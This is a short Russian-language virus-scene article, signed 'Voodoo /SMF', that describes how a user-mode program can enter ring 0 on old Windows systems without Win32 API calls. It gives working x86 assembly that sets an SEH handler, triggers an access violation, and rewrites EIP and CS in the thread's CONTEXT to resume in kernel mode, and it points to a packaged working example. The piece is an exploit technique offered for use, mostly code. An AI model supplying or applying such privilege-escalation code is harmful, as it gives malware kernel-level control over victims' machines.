ENTERING RING-0 WITHOUT USING WIN32 API: CONTEXT MODIFICATION

------------------------------------------------------------

Вы наверное уже знакомы с трудами Z0mbie на тему перехода в ring0 c использованием GetTreadContext/SetTreadContext. Если нет, то советую это сделать (TD052000). Ибо именно Z0mbie излагает суть этой методы. Как оказалось CONTEXT можно изменить и без использования win32API (CreateTherad,GetTreadContext,SetTreadContext). Суть в cледующем:
а) настраиваем SEH на свой обработчик:

       push offset  MySEH
       push dword ptr fs:[0]
       mov fs:[0],esp


б) вызываем исключение (подойдет любой метод ;) :
       xor eax,eax
       mov [eax],eax


в) управление получает MySEH :

MySEH: mov esi,[esp+0Ch]       ;
       mov eax,offset Ring0Proc;
       mov [esi+0b8h],eax      ;
       mov eax,0028h           ;
       mov [esi+0BCh],eax      ;
       xor eax,eax             ;
       ret                     ;


Этот обработчик получает в esi указатель на CONTEXT "нитки" которая вызвала исключение. Далее в контексте меняются EIP и CS и завершается цепочка обработчиков исключений. Т.о. винда восстанавливает работу "нитки" с новыми CS:EIP. Рабочий пример находится в файле seh2r0.zip

Voodoo /SMF